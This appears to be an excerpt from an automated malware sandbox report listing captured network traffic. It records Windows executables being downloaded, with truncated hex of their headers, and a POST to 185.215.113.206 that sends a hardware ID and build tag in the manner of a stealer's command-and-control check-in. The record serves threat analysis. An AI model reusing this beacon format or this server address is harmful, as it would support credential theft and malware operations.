0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 26 Oct 2024 22:31:13 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 26 Oct 2024 22:31:15 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 26 Oct 2024 22:31:16 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 26 Oct 2024 22:31:17 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 26 Oct 2024 22:31:18 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 26 Oct 2024 22:31:19 GMTServer: Apache/2.4.52 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEBAECAKKFCBFIEGCBKHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 32 41 44 46 30 43 38 33 42 34 37 33 36 32 35 36 39 38 33 39 39 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 42 41 45 43 41 4b 4b 46 43 42 46 49 45 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="hwid"F2ADF0C83B473625698399------GIEBAECAKKFCBFIEGCBKContent-Disposition: form-data; name="build"puma------GIEBAECAKKFCBFIEGCBK--
